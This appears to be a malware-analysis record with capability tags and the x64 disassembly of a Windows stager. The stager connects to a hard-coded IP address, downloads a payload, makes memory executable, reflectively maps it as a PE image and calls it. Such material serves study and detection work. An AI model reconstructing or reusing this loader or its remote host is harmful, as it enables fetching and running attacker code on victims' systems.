Function at 0x140001000
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub rsp, 0x248
mov dword [rsp + 0x244], 0
mov dword [rsp + 0x240], r9d
mov qword [rsp + 0x238], r8
mov qword [rsp + 0x230], rdx
mov qword [rsp + 0x228], rcx
mov word [rsp + 0x218], 2
mov ecx, 0xe99
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x21a], ax
lea r8, [rsp + 0x218]
add r8, 4
mov ecx, 2
lea rdx, str.83.168.69.197
call qword [sym.imp.WS2_32.dll_inet_pton]
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x198
call fcn.14000c600
mov ecx, 0x202
lea rdx, [rsp + 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x7c], eax
mov ecx, 2
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x218]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0
jne 0x1400012f7
mov rcx, qword [rsp + 0x70]
lea rdx, str.14_dFlVqB44c5mcOgoW1A.log
mov r8d, 0x19
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ecx, 0x6acfc0
call fcn.140004630
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], 0
mov rdx, qword [rsp + 0x68]
add rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0
jle 0x140001149
mov rax, qword [rsp + 0x60]
add rax, 1
mov qword [rsp + 0x60], rax
jmp 0x14000110f
mov dword [rsp + 0x5c], 0
lea rcx, section..data
mov edx, 0x1000
mov r8d, 0x40
lea r9, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov r8d, 0x40
lea r9, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x68]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
add rax, 0x18
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
add rax, 4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x38]
mov ecx, eax
call fcn.140004630
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x38]
mov edx, eax
mov rcx, qword [rsp + 0x38]
mov r8d, 0x40
lea r9, [rsp + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x68]
mov r8d, 0x1000
call fcn.14000c9c0
mov rax, qword [rsp + 0x50]
add rax, 0x18
mov rcx, qword [rsp + 0x50]
movzx ecx, word [rcx + 0x14]
add rax, rcx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x40]
movzx ecx, word [rcx + 2]
cmp eax, ecx
je 0x1400012a5
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x10], 0
je 0x140001282
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0xc]
add rcx, rax
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x14]
add rdx, rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x10]
mov r8d, eax
call fcn.14000c9c0
jmp 0x140001287
mov eax, dword [rsp + 0x24]
add eax, 1
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x28]
add rax, 0x28
mov qword [rsp + 0x28], rax
jmp 0x14000122e
mov rax, qword [rsp + 0x38]
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rax], rcx
mov rax, qword [rsp + 0x38]
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x38]
mov rcx, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call section..data
mov rcx, qword [rsp + 0x68]
call fcn.140004640
mov rcx, qword [rsp + 0x38]
call fcn.140004640
jmp 0x140001307
mov dword [rsp + 0x244], 0
jmp 0x140001323
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [rsp + 0x244], 1
mov eax, dword [rsp + 0x244]
add rsp, 0x248
ret